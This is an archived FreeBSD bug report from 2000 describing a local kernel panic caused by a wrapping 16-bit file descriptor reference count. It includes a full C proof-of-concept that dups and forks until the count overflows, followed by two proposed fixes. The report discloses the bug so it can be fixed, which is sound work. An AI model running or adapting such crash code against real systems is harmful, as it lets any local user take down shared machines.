Date: Tue, 02 May 2000 17:17:17 +0200 From: Phil Pennock <pdp@nl.demon.net> To: FreeBSD-gnats-submit@freebsd.org Subject: kern/18346: user can panic kernel (3.4-STABLE verified) Message-ID: <E12meQH-0000Ak-00@samhain.noc.nl.demon.net>
index | next in thread | raw e-mail
>Number: 18346
>Category: kern
>Synopsis: User can panic kernel; signed short wraps
>Confidential: no
>Severity: serious
>Priority: high
>Responsible: freebsd-bugs
>State: open
>Quarter:
>Keywords:
>Date-Required:
>Class: sw-bug
>Submitter-Id: current-users
>Arrival-Date: Tue May 2 08:20:02 PDT 2000
>Closed-Date:
>Last-Modified:
>Originator: Phil Pennock
>Release: FreeBSD 3.4-STABLE i386
>Organization:
Demon Internet Netherlands
>Environment:
Raised kern.maxfiles and kern.maxfilesperproc. Probably not necessary.
>Description:
The file descriptor reference count is an unsigned short. Should it
ever become negative, the kernel panics. There is no check on
increment, so it can wrap and on a later close cause a panic. This was
first spotted with an unfortunate choice of logfile handling for Apache.
Max files per proc * max procs per user > max_int(fd.f_count)
>How-To-Repeat:
Compile the program below.
Possibly raise kern.maxfiles and kern.maxfilesperproc. Play around.
Sync disks. :^)
Run program, with parameters to indicate values.
If program slows down (the forks) and nothing happens, hit control-C -
this will lead to a file-descriptor being closed and so trigger the
panic then.
-----------------------------< cut here >-------------------------------
/* crash_freebsd.c */
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <stdlib.h>
#include <limits.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <signal.h>
#define DEF_VICTIM "/dev/null"
void cleanup (void) __attribute__((__noreturn__));
void exit_sigf (int sig);
void do_nowt ( void );
int
main ( int argc, char *argv[] )
{
int fd;
int *fds, *fdp;
int i_f, i_p, ret;
int n_fd, n_p;
pid_t cp;
char *progname, *filename;
progname = strrchr(argv[0], '/');
progname = progname ? progname+1 : argv[0];
if (argc < 3) {
fprintf(stderr,
"Usage: %s file_count process_count [filename]\n", progname);
return 1;
}
errno = 0;
n_fd = strtol(argv[1], NULL, 0);
if (errno != 0) { perror(progname); return 1; }
n_p = strtol(argv[2], NULL, 0);
if (errno != 0) { perror(progname); return 1; }
if (argc >= 4) {
filename = argv[3];
} else {
filename = DEF_VICTIM;
}
setpgrp(0, getpgrp());
if (!(fds = calloc(n_fd - 1, sizeof(int)))) {
fprintf(stderr, "%s: Failed to allocate fd storage\n",
progname);
perror(progname);
return 1;
}
ret = setvbuf(stdout, NULL, _IONBF, 0); /* ignore failure */
printf("Starting test run on '%s'\n%d file descs by %d processes\n",
filename, n_fd--, n_p);
if ((fd = open(filename, O_RDONLY)) < 0) {
fprintf(stderr, "%s: Failed to open '%s'\n",
progname, filename);
perror(progname);
return 1;
}
for ( fdp=fds, i_f=0 ; i_f < n_fd ; ++i_f, ++fdp ) {
*fdp = dup(fd);
if (*fdp == -1) {
ret = errno;
printf("Failed to dup for %d/%d\n", i_f+2,n_fd);
perror(progname);
if (ret == EMFILE) {
break;
} else {
return 2;
}
}
}
printf("We have %d filedescs open\n", n_fd+1);
for ( i_p = 0 ; i_p < n_p-1 ; ++i_p ) {
switch (cp = fork()) {
case -1:
printf("Failed to fork for %d/%d\n",i_p+1,n_p);
cleanup();
/* NOTREACHED */
case 0:
signal(SIGKILL, exit_sigf);
printf("Started proc %d\n", i_p+1);
do_nowt();
exit(0);
default:
break;
}
}
close(fd);
sleep(1);
cleanup();
printf("Finished test run! Woohoo!\n");
return 0;
}
void
cleanup ( void )
{
/* Can't be bothered with IPC ... */
sleep(3);
kill(0, SIGKILL);
exit(0);
}
void
exit_sigf (int sig)
{
exit(0);
}
void
do_nowt ( void )
{
/* Can't be bothered with IPC ... */
sleep(1000000);
}
-----------------------------< cut here >-------------------------------
>Fix:
Two solutions, not mutually incompatible:
(1) Check f_count value before increment, return error if would wrap.
(2) Change f_count to int32_t instead of int16_t.
The second solution requires auditing all programs which access kernel
memory, eg lsof, to find potential problems. :^/ *sighs*
>Release-Note:
>Audit-Trail:
>Unformatted:
To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-bugs" in the body of the message
help
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?E12meQH-0000Ak-00>
